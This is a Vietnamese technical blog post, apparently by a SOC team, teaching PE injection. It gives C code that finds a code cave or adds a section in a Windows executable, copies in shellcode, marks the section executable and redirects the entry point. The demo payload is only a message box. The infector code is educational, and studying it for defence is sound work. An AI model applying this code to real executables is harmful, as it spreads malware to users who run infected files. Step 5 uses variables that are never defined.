PE INJECTION
Mã độc tồn tại trên máy tính và thực vi các hành vi “phá hoại” phục vụ mục đích của kẻ tấn công, nhưng để làm được điều đó nó cần phải đc thực thi, hay nó phải tìm cách để chạy được trên hệ thống máy tính. Có nhiều kỹ thuật để mã độc có thể “running” trên hệ thống máy tính, và một trong những kỹ thuật điển hình là PE Injection. Đây có thể coi là một trong những kỹ thuật cơ bản mà mã độc thường sử dụng. Mục tiêu của mình là sẽ trình bày 1 list các kỹ thuật và mình sẽ bắt đầu bằng PE Injection.
PE infection là kỹ thuật chèn code tùy ý vào một file PE. Nhìn chung, kỹ thuật này khá dễ thực hiện và có thể dễ dàng được phát hiện bởi các chương trình antivirus. Mặc dù vậy, báo cáo của Madiant khi rà quét trên hệ từ 2010 đến 2021, cho thấy kỹ thuật này vẫn được sử dụng rất nhiều.
Các bước thực hiện kỹ thuật:
- Tạo shellcode để thực hiện hành vi độc hại
- Chỉnh sửa shellcode
- Đọc file PE
- Tìm hoặc thêm vị trí để chèn shellcode và chèn shellcode
- Chỉnh sửa các trường file PE
Trong bài viết này, shellcode sẽ được thực thi trước khi thực hiện các chức năng ban đầu của file bị lây nhiễm. Thực tế, shellcode có thể thực thi trước, sau hoặc song song với luồng thực thi chính.
Và trước tiên bạn cần chuẩn bị 1 đoạn shellcode.
1. Tạo shellcode
Mình sẽ tạo một đoạn shellcode đơn giản. Shellcode này lợi dụng cấu trúc của PEB để thực hiện các chức năng sau:
Đầu tiền là cần phải tìm được địa chỉ của kernel32.dll, nếu bạn mới bắt đầu với shellcode một trong những điều khá phổ biến là việc tìm địa chỉ của Kernel32.dll và các hàm và tại sao cần làm điều đó, mình sẽ trình bày ở 1 bài viết khác cụ thể hơn nhé!
Lệnh Ret sẽ chuyển hướng luồng thực thi của chương trình đến đia chỉ trả về được đặt ở trên đỉnh của stack. Địa chỉ trả về sẽ là OEP của đối tượng bị lây nhiễm. Vì mỗi đối tượng có một OEP khác nhau, nên giá trị 0xAAAAAAAA có tác dụng để đánh dấu và sẽ được sửa lại trong quá trình lây nhiễm.
2. Chỉnh sửa shellcode
Chỉnh sửa ở đây chính là giá trị 0xAAAAAAAA (tạm gọi là giá trị đánh dấu) trong shellcode thành OEP, để sau khi shellcode thực thi có thể tiếp tục thực thi tại vị trí OEP của file bị lây nhiễm.
Đoạn code thực hiện việc này:
PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)lpFileAddr;
PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS)(lpFileAddr + pDosHdr->e_lfanew);
PIMAGE_SECTION_HEADER pSecHdr = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(pNtHdrs);
DWORD dwOEP = pNtHdrs->OptionalHeader.AddressOfEntryPoint;
//2.1 Replace 0xAAAAAAAA with OEP
for (DWORD i = 0; i < dwShellSize; i++) {
if (*((LPDWORD)(shellcode + i)) == 0xaaaaaaaa) {
*((LPDWORD)(shellcode + i)) = dwOEP;
break;
}
}
3. Đọc file PE
Bước này chỉ đơn giản đọc file PE để chuẩn bị chèn shellcode và chỉnh sửa các trường của file PE.
HANDLE hFile = CreateFileA(
lpFileName,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
0,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
DWORD dwFileSize = GetFileSize(hFile, NULL);
HANDLE hFileMapping = CreateFileMapping(
hFile,
NULL,
PAGE_READWRITE,
0,
dwFileSize,
NULL);
LPBYTE lpFileAddr = (LPBYTE)MapViewOfFile(
hFileMapping,
FILE_MAP_READ | FILE_MAP_WRITE,
0,
0,
dwFileSize);
4. Tìm vị trí hoặc thêm section để chèn shellcode
4.1 Tìm vị trí (codecave) phù hợp
Vì mỗi section của file PE khi được lưu trên disk sẽ có độ dài là bội số của trường FileAlignment, nên thường sẽ có những vùng nhớ trống, được gọi là codecave, ở cuối các section. Shellcode có thể chèn vào bất kì section nào, miễn là codecave có độ lớn phù hợp. Trong bài viết này, shellcode sẽ được chèn vào codecave phù hợp đầu tiên tìm được.
DWORD dwCount = 0;
DWORD dwPos;
LPVOID lpShellAddr = 0;
for (dwPos = pNtHdrs->OptionalHeader.SizeOfHeaders; dwPos < dwFileSize; dwPos++)
{
if (*(lpFileAddr + dwPos) == 0x00) {
if (dwCount++ == dwShellSize)
{
lpShellAddr = (LPVOID)(lpFileAddr + dwPos – dwShellSize);
break;
}
}
else {
dwCount = 0;
}
}
4.2 Thêm section
Trong trường hợp không tìm được codecave phù hợp, ta có thể tạo thêm một section mới để chứa shellcode.
DWORD dwNewSecRVA = 0, dwNewSecRaw = 0;
if (!lpShellAddr) {
while (pSecHdr->SizeOfRawData != 0) {
pSecHdr++;
}
dwNewSecRVA = pSecHdr->VirtualAddress + pSecHdr->Misc.VirtualSize;
dwNewSecRaw = pSecHdr->PointerToRawData + pSecHdr->SizeOfRawData;
// Update the section count in the NT headers
pNtHdrs->FileHeader.NumberOfSections++;
// Update section name
strncpy((char*)pSecHdr->Name, “./001”, IMAGE_SIZEOF_SHORT_NAME);
// Update the size of image in the NT headers
pNtHdrs->OptionalHeader.SizeOfImage += pNtHdrs->OptionalHeader.SectionAlignment;
// Update the last section header’s size and virtual size
pSecHdr->SizeOfRawData = pNtHdrs->OptionalHeader.FileAlignment;
pSecHdr->Misc.VirtualSize = pNtHdrs->OptionalHeader.SectionAlignment;
// Update the last section header’s RAW offset and RVA
pSecHdr->PointerToRawData = dwNewSecRaw;
pSecHdr->VirtualAddress = dwNewSecRVA;
// Zero out the new section’s data in memory
ZeroMemory((LPVOID)(
(DWORD)lpFileAddr + dwNewSecRaw),
pNtHdrs->OptionalHeader.FileAlignment
);
lpShellAddr = (LPVOID)(lpFileAddr + dwNewSecRaw);
printf(“[+] Added section %s”, pSecHdr->Name);
}
Thực hiện chèn shellcode bằng hàm memcpy()
memcpy(lpShellAddr, shellcode, dwShellSize)
5. Chỉnh sửa lại các trường của PE
//update virtual size
pSecHdr[i].Misc.VirtualSize += dwShellSize;
//update section characteristic
pSecHdr[i].Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
//update entry point
pNtHdrs->OptionalHeader.AddressOfEntryPoint = shellOffset – pSecHdr[i].PointerToRawData
+ pSecHdr[i].VirtualAddress;
Kết quả
File trước khi bị lây nhiễm khi thực thi chỉ in chuỗi “Processing…”
Sau khi bị lây nhiễm, mã độc hiển thị thêm một message box như hình dưới:
Ở bài tiếp theo mình sẽ trình bày về kỹ thuật tìm địa chỉ kernel32 và các hàm API cần dùng!!
By,
SOC_Team